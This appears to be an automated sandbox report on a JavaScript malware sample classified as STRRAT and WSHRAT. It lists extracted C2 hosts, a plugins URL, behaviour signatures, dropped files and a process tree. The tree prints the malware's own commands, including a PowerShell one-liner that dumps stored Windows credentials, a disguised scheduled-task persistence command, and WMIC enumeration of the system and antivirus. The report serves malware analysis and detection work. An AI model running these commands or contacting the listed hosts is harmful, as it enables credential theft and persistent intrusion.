Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2024, 02:20

General

  • Target
    3262bd3a884311409a84415b7edffaecfacd37c2948f3f4fc1ea5b664abaed85.js
  • Size 7KB
  • Sample241218-csd3aszmem
  • SHA256 3262bd3a884311409a84415b7edffaecfacd37c2948f3f4fc1ea5b664abaed85
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • strrat

C2
  • chongmei33.publicvm.com:44662

  • jinvestments.duckdns.org:44662

Attributes
  • license_id

    khonsari

  • plugins_url

    http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5

  • scheduled_task

    true

  • secondary_startup

    true

  • startup

    true

Extracted

Family
  • wshrat

C2
  • http://chongmei33.publicvm.com:7045

Signatures

  • STRRAT

    STRRAT is a remote access tool than can steal credentials and log keystrokes.

  • Strrat family
  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Wshrat family
  • Blocklisted process makes network request 27 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Loads dropped DLL 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Script User-Agent 26 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3262bd3a884311409a84415b7edffaecfacd37c2948f3f4fc1ea5b664abaed85.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4764
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ELMAMV.js"
      2⤵
      • Checks computer location settings
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\adobe.js"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\adobe.js"
          4⤵
          • Blocklisted process makes network request
          • Drops startup file
          • Adds Run key to start application
          PID:5084
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\word.js"
        3⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4832
        • C:\Program Files\Java\jre-1.8\bin\javaw.exe
          "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\BDl.jar"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:712
          • C:\Program Files\Java\jre-1.8\bin\java.exe
            "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\BDl.jar"
            5⤵
            • Drops startup file
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:2708
            • C:\Windows\SYSTEM32\cmd.exe
              cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\BDl.jar"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4316
              • C:\Windows\system32\schtasks.exe
                schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\BDl.jar"
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4340
            • C:\Program Files\Java\jre-1.8\bin\java.exe
              "C:\Program Files\Java\jre-1.8\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\BDl.jar"
              6⤵
              • Loads dropped DLL
              • Accesses Microsoft Outlook profiles
              • Suspicious use of WriteProcessMemory
              • outlook_office_path
              • outlook_win_path
              PID:800
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:4916
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list
                  8⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3200
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:3960
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list
                  8⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3464
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:4940
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list
                  8⤵
                    PID:4088
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4188
                  • C:\Windows\System32\Wbem\WMIC.exe
                    wmic /node:localhost /namespace:'\\root\securitycenter2' path antivirusproduct get displayname /format:list
                    8⤵
                      PID:2024
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"
                    7⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3208

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            3903daac9bc4a3b7.timestamp

            • Path C:\ProgramData\Oracle\Java\.oracle_jre_usage\3903daac9bc4a3b7.timestamp
            • Size 46B
            • SHA256 7ec7e97ecfe03cf08119b115752df0640ec7f9cd9aa87ba639de004a978e1961
            • MD5 SHA1 SHA512

            BDl.jar

            • Path C:\Users\Admin\AppData\Local\Temp\BDl.jar
            • Size 265KB
            • SHA256 05f0093f5b7ff5497c2a4c9bc86abfd001a450aa55d16b66a2707dfcac704886
            • MD5 SHA1 SHA512 SSDEEP

            ELMAMV.js

            • Path C:\Users\Admin\AppData\Local\Temp\ELMAMV.js
            • Size 956KB
            • SHA256 a69c37a37c7e4acebbc4bc9ed276c2c433171ac47dc68d941d687975e2761759
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_q5eqfkyh.cxd.psm1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5eqfkyh.cxd.psm1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            adobe.js

            • Path C:\Users\Admin\AppData\Local\Temp\adobe.js
            • Size 305KB
            • SHA256 1fdb1c5ad65e00e4520df60b9c3b880059ed77fcbf41787c6dd6a9abc0180a5c
            • MD5 SHA1 SHA512 SSDEEP

            jna5215495407343795517.dll

            • Path C:\Users\Admin\AppData\Local\Temp\jna-63116079\jna5215495407343795517.dll
            • Size 241KB
            • SHA256 a66959bec2ef5af730198db9f3b3f7cab0d4ae70ce01bec02bf1d738e6d1ee7a
            • MD5 SHA1 SHA512 SSDEEP

            sqlite-3.14.2.1-4bd18c8a-b708-4961-be05-87720c292f08-sqlitejdbc.dll

            • Path C:\Users\Admin\AppData\Local\Temp\sqlite-3.14.2.1-4bd18c8a-b708-4961-be05-87720c292f08-sqlitejdbc.dll
            • Size 914KB
            • SHA256 05a8557f5d197aca468f5272a2a869293cb11c2f0ab4839a17f144f9a5d0b77d
            • MD5 SHA1 SHA512 SSDEEP

            word.js

            • Path C:\Users\Admin\AppData\Local\Temp\word.js
            • Size 376KB
            • SHA256 763e249aff06d3afde2ad073dd463d1b65ba8f26d227cde3520649ebbda30814
            • MD5 SHA1 SHA512 SSDEEP

            83aa4cc77f591dfc2374580bbd95f6ba_a4172161-d53d-48af-8f36-a00b057e74d4

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1045960512-3948844814-3059691613-1000\83aa4cc77f591dfc2374580bbd95f6ba_a4172161-d53d-48af-8f36-a00b057e74d4
            • Size 45B
            • SHA256 11e6aca8e682c046c83b721eeb5c72c5ef03cb5936c60df6f4993511ddc61238
            • MD5 SHA1 SHA512

            adobe.js

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe.js
            • Size 64KB
            • SHA256 de2f256064a0af797747c2b97505dc0b9f3df0de4f489eac731c23ae9ca9cc31
            • MD5 SHA1 SHA512 SSDEEP

            jna-5.5.0.jar

            • Path C:\Users\Admin\lib\jna-5.5.0.jar
            • Size 1.4MB
            • SHA256 b308faebfe4ed409de8410e0a632d164b2126b035f6eacff968d3908cafb4d9e
            • MD5 SHA1 SHA512 SSDEEP

            jna-platform-5.5.0.jar

            • Path C:\Users\Admin\lib\jna-platform-5.5.0.jar
            • Size 2.6MB
            • SHA256 24d81621f82ac29fcdd9a74116031f5907a2343158e616f4573bbfa2434ae0d5
            • MD5 SHA1 SHA512 SSDEEP

            sqlite-jdbc-3.14.2.1.jar

            • Path C:\Users\Admin\lib\sqlite-jdbc-3.14.2.1.jar
            • Size 4.1MB
            • SHA256 2eae3dea1c3dde6104c49f9601074b6038ff6abcf3be23f4b56f6720a4f6a491
            • MD5 SHA1 SHA512 SSDEEP

            system-hook-3.5.jar

            • Path C:\Users\Admin\lib\system-hook-3.5.jar
            • Size 772KB
            • SHA256 2ddda8af6faef8bde46acf43ec546603180bcf8dcb2e5591fff8ac9cd30b5609
            • MD5 SHA1 SHA512 SSDEEP

            memory/712-74-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-78-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-98-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-38-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-91-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-83-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-58-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/712-101-0x000001E8EF040000-0x000001E8EF041000-memory.dmp

            memory/800-179-0x000001EB89DA0000-0x000001EB89DA1000-memory.dmp

            memory/800-165-0x000001EB89DA0000-0x000001EB89DA1000-memory.dmp

            memory/800-217-0x0000000061680000-0x000000006176D000-memory.dmp

            memory/2708-135-0x000001EFE7720000-0x000001EFE7721000-memory.dmp

            memory/3208-188-0x00000233E7460000-0x00000233E7482000-memory.dmp

            memory/3208-198-0x00000233E7490000-0x00000233E749A000-memory.dmp

            memory/3208-199-0x00000233E75D0000-0x00000233E75D8000-memory.dmp